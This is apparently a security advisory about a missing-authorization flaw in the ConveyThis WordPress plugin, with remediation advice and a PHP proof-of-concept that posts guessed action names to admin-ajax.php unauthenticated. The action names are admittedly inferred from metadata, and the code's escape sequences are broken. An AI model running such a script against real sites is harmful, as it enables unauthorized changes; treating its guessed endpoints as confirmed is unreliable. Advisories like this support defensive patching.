Atomic Edge analysis of CVE-2025-68021 (metadata-based):
This vulnerability is a Missing Authorization flaw in the ConveyThis WordPress plugin, affecting all versions up to and including 269.1. The flaw allows unauthenticated attackers to trigger a privileged plugin function, leading to unauthorized actions. The CVSS score of 5.3 (Medium) reflects a network-accessible attack with low attack complexity that impacts integrity but not confidentiality or availability.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook. The vulnerability description confirms the absence of a capability check. Based on CWE-862 and common WordPress plugin patterns, the vulnerable function is likely registered to a WordPress AJAX action hook (e.g., `wp_ajax_nopriv_` or `admin_post_nopriv_`) or a REST API endpoint without verifying the user’s permissions. This conclusion is inferred from the CWE classification and the plugin’s context, as no source code diff is available for confirmation.
Exploitation requires an attacker to send a crafted HTTP request to a specific WordPress endpoint. The most probable attack vector is the WordPress AJAX handler (`/wp-admin/admin-ajax.php`). An attacker would send a POST request with an `action` parameter matching the vulnerable hook, such as `conveythis_translate_action` or a similar name derived from the plugin slug. The payload would include any parameters the vulnerable function expects to trigger the unauthorized action.
Remediation requires adding a proper authorization check before the vulnerable function executes. The plugin should verify the current user has the required capability, such as `manage_options`, using `current_user_can()`. For functions intended only for administrators, the check must occur before any sensitive operations. If the function should remain accessible to unauthenticated users, the logic must be reviewed to ensure it performs only safe, non-privileged actions.
The impact of this vulnerability is an unauthorized action performed by an unauthenticated attacker. The specific action is not detailed in the metadata, but CWE-862 in WordPress plugins often leads to privilege escalation, settings modification, data manipulation, or unintended plugin state changes. The integrity impact (I:L) in the CVSS vector confirms unauthorized data modification is possible, though the scope is limited to the plugin’s functionality.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68021 - ConveyThis <= 269.1 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-68021.
* This script attempts to trigger an unauthorized action in the ConveyThis plugin.
* The exact action name is inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerable endpoint is the WordPress AJAX handler.
* 2. The vulnerable hook uses an action parameter derived from the plugin slug.
* 3. No nonce or capability check is present.
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
// Common action name patterns for the ConveyThis plugin.
$possible_actions = [
'conveythis_action',
'conveythis_translate_action',
'conveythis_save_settings',
'conveythis_update',
'conveythis_clear_cache'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
foreach ($possible_actions as $action) {
$post_fields = ['action' => $action];
// Include a sample parameter often targeted in such flaws.
$post_fields['target'] = 'unauthorized_change';
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[*] Testing action: {$action}n";
echo " HTTP Code: {$http_code}n";
echo " Response Length: " . strlen($response) . "n";
// Check for a non-error, non-empty response which may indicate success.
if ($http_code == 200 && strlen($response) > 0 && !str_contains($response, '0')) {
echo "[!] Potential success for action: {$action}n";
echo " Response Preview: " . substr($response, 0, 200) . "n";
}
echo "n";
}
curl_close($ch);
?>
